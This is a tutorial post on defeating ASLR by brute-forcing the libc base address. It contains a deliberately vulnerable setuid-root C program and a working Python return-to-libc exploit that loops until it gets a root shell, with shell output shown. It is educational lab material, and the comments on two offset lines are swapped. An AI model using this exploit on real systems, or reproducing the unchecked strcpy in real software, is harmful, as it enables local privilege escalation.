Bypassing ASLR – Part II

Prerequisite:

1. Classic Stack Based Buffer Overflow

VM Setup: Ubuntu 12.04 (x86)

In this post lets see how to bypass shared library address randomization using brute force technique.

What is brute-force?

In this technique attacker chooses a particular libc base address and continues to attack the program until he succeeds. This technique is the simplest of the technique to bypass ASLR, provided you get lucky 🙂

Vulnerable Code:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 fflush(stdout);
 return 0;
}

Compilation Commands:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

Lets now see how attacker brute forces libc base address. Below is the different libc base addresses (when randomization is turned on):

$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)
$

As shown above libc randomization is limited to 8 bits. Hence a maximum of 256 tries, should gives us a root shell. In the below exploit code lets choose libc base address to be 0xb7595000 and lets make multiple tries.

Exploit Code:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

libc_base_addr = 0xb7595000
exit_off = 0x00032be0             #Obtained from "readelf -s libc.so.6 | grep system" command.
system_off = 0x0003f060           #Obtained from "readelf -s libc.so.6 | grep exit" command.
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = 0x804827d

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)

print "Calling vulnerable program"
#Multiple tries until we get lucky
i = 0
while (i < 256):
 print "Number of tries: %d" %i
 i += 1
 ret = call(["./vuln", buf])
 if (not ret):
  break
 else:
  print "Exploit failed"

Running the above exploit code gives us root shell (as shown below):

$ python exp.py 
Calling vulnerable program
Number of tries: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
...
Number of tries: 42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
Number of tries: 43
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

NOTE: Similarly stack and heap segment address can also be brute forced!!